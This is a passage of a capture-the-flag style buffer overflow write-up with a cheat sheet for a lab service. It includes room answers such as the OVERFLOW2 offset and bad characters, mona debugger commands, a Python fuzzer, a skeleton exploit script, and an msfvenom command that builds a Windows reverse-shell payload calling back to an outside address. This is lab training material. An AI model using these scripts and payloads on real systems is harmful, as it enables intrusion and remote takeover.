s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
  s.connect((ip, port))
  print("Sending evil buffer...")
  s.send(bytes(buffer + "\r\n", "latin-1"))
  print("Done!")
except:
  print("Could not connect.")
And it works
It works!

Questions(s)

  1. What is the EIP offset for OVERFLOW2?
  2. In byte order (e.g. \x00\x01\x02) and including the null byte \x00, what were the badchars for OVERFLOW2?

Answers(s)

  1. 634
  2. \x00\x23\x3c\x83\xba

OVERFLOW3-10

The only thing that changes from OVERFLOW2 - OVERFLOW10 is the offset and bad characters - but the procedure to find these stays the same. Therefore I will stop the writeup here to avoid repeating myself.


Cheat Sheet

You can also find all of the following under the notes category.

Immunity Debugger

Open an application:

  • File -> Open
  • Run the application -> File -> Attach

Mona

Mona is a powerful plugin for Immunity Debugger to exploit buffer overflows.

  • Download: https://github.com/corelan/mona
  • Copy the mona.py file into the PyCommands directory of Immunity Debugger (usually located at C:\Program Files\Immunity Inc\Immunity Debugger\PyCommands).

In Immunity Debugger, type the following to set a working directory for mona.

!mona config -set workingfolder c:\mona\%p

Finding the offset:

!mona findmsp -distance LENGTH-OF-PATTERN

Pattern length being from pattern_create.

Generate bytearray:

!mona bytearray -b "\x00"
  • -b: Exclude bytes

Compare bytearrays:

!mona compare -f C:\mona\programname\bytearray.bin -a ESP-ADDRESS

Find jump points:

!mona jmp -r esp -cpb "\x00"
  • -cpb: Bad characters

Fuzzing

Figure out the offset by slowly incrementing the buffer size and inspect where the program crash.

#!/usr/bin/env python3

import socket, time, sys

ip = "10.10.29.202"

port = 1337
timeout = 5
prefix = "OVERFLOW1 "

string = prefix + "A" * 100

while True:
  try:
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
      s.settimeout(timeout)
      s.connect((ip, port))
      s.recv(1024)
      print("Fuzzing with {} bytes".format(len(string) - len(prefix)))
      s.send(bytes(string, "latin-1"))
      s.recv(1024)
  except:
    print("Fuzzing crashed at {} bytes".format(len(string) - len(prefix)))
    sys.exit(0)
  string += 100 * "A"
  time.sleep(1)

Finding the offset using pattern_create

  1. copy into path:
sudo cp "$(locate pattern_create.rb)" /usr/local/bin
  1. use pattern_create to generate a pattern.
  2. run program with said input.
  3. use gdb (or other debug tool) to find offset address.
pattern_create.rb -l 200
  • -l: length

If you fuzzed

To make sure you get inside of the offset range, generally add 400 to the length of pattern_create.

Payload

import socket

ip = "10.10.29.202"
port = 1337

prefix = "OVERFLOW1 "
offset = 0
overflow = "A" * offset
retn = ""
padding = ""
payload = ""
postfix = ""

buffer = prefix + overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
  s.connect((ip, port))
  print("Sending evil buffer...")
  s.send(bytes(buffer + "\r\n", "latin-1"))
  print("Done!")
except:
  print("Could not connect.")

Msfvenom

msfvenom -p windows/shell_reverse_tcp LHOST=10.8.11.118 LPORT=4444 EXITFUNC=thread -b "\x00\x07\x2e\xa0" -f c
  • -p: Payload
  • -b: Bad characters
  • -f: Filetype, c gives us hexcode

Support me

Thank you so much for reading and I hope you found it inspirational or helpful! You can best support me by doing any of the following bellow!

  • Turn off Adblocker: A simple yet impactful way to support me for free.
  • Sign Up: If you haven't already, consider signing up to get access to more content and receive optional newsletters.
  • Buy Premium: Explore the Premium option for additional perks and exclusive content.
  • Give a Tip: Your generosity is always very appreciated.

You can read more about the perks of being a Member or Subscriber here.

Additionally, you can stay updated and engage with me on social media:

  • Twitter: Follow for real-time updates and insights.
  • LinkedIn: Connect with me on a professional platform.

Contact me here: [email protected]

Discussion

Become a member and never miss a post!

By signing up you have read and agree to the Privacy Policy.

Newsletter

Bonus content

Learn more...

Continue reading

Continue reading

Continue reading